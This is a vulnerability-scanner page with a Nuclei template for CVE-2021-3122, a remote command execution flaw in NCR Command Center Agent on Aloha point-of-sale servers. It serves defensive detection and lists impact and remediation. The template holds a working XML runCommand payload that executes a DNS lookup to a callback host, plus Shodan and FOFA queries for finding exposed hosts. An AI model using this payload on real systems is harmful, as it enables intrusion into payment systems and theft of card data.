NCR Command Center Agent 16.3 - Remote Command Execution

criticalseverity

9.8CVSS score

87.9%likelihood of exploitation, next 30 days

100%of all CVEs are less likely

Readycheck to confirm it

CMCAgent in NCR Command Center Agent 16.3 on Aloha POS/BOH servers permits the submission of a runCommand parameter (within an XML document sent to port 8089) that enables the remote, unauthenticated execution of an arbitrary command as SYSTEM, as exploited in the wild in 2020 and/or 2021. NOTE: the vendor's position is that exploitation occurs only on devices with a certain "misconfiguration."

Impact

Unauthenticated attackers can execute arbitrary system commands as SYSTEM on NCR Aloha POS/BOH servers by submitting malicious XML documents to port 8089, potentially compromising point-of-sale systems and accessing sensitive payment data.

Fix

Apply the latest security updates from NCR to disable the vulnerable runCommand functionality or implement proper authentication and input validation on the CMCAgent service.

How to confirm it

Send: tcp probe to {{Hostname}}
Positive when: contains(interactsh_protocol,'dns') and contains_all(raw, '<cmcsys', 'myNodeName')

Run it with nuclei: nuclei -id CVE-2021-3122 -u <target>

The full check

id: CVE-2021-3122

info:
  name: NCR Command Center Agent 16.3 - Remote Command Execution
  severity: critical
  author: daffainfo,jjcho
  description: |
    CMCAgent in NCR Command Center Agent 16.3 on Aloha POS/BOH servers permits the submission of a runCommand parameter (within an XML document sent to port 8089) that enables the remote, unauthenticated execution of an arbitrary command as SYSTEM, as exploited in the wild in 2020 and/or 2021. NOTE: the vendor's position is that exploitation occurs only on devices with a certain "misconfiguration."
  impact: |
    Unauthenticated attackers can execute arbitrary system commands as SYSTEM on NCR Aloha POS/BOH servers by submitting malicious XML documents to port 8089, potentially compromising point-of-sale systems and accessing sensitive payment data.
  remediation: |
    Apply the latest security updates from NCR to disable the vulnerable runCommand functionality or implement proper authentication and input validation on the CMCAgent service.
  reference:
    - https://hcs-team.com/blog/cve-2021-3122/
    - https://github.com/acquiredsecurity/CVE-2021-3122-Details/blob/main/CVE-2021-3122
    - https://www.tetradefense.com/incident-response-services/active-exploit-a-remote-code-execution-rce-vulnerability-for-ncr-aloha-point-of-sale/
    - https://nvd.nist.gov/vuln/detail/CVE-2021-3122
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2021-3122
    epss-score: 0.87924
    epss-percentile: 0.99765
    cwe-id: CWE-78
    cpe: cpe:2.3:a:ncr:command_center_agent:16.3:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    verified: true
    vendor: ncr
    product: command_center_agent
    fofa-query: "mynodename"
    shodan-query: "mynodename"
  tags: cve,cve2021,ncr,rce,vkev,intrusive,vuln

variables:
  payload: <workitemroot commandname="runCommand"><WorkItem><WorkItemId>1</WorkItemId><CommandName>runCommand</CommandName><SourceNode>0</SourceNode><TargetNode>0</TargetNode><Status>InProgress</Status></WorkItem><command><Arguments>nslookup {{interactsh-url}}</Arguments><Guid>00000000-0000-0000-0000-000000000001</Guid><Result></Result><destserver>WebServer</destserver></command></workitemroot><:EOM:>

tcp:
  - inputs:
      - data: "{{payload}}"

    host:
      - "{{Hostname}}"
    port: 8089

    matchers:
      - type: dsl
        dsl:
          - contains(interactsh_protocol,'dns')
          - contains_all(raw, '<cmcsys', 'myNodeName')
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from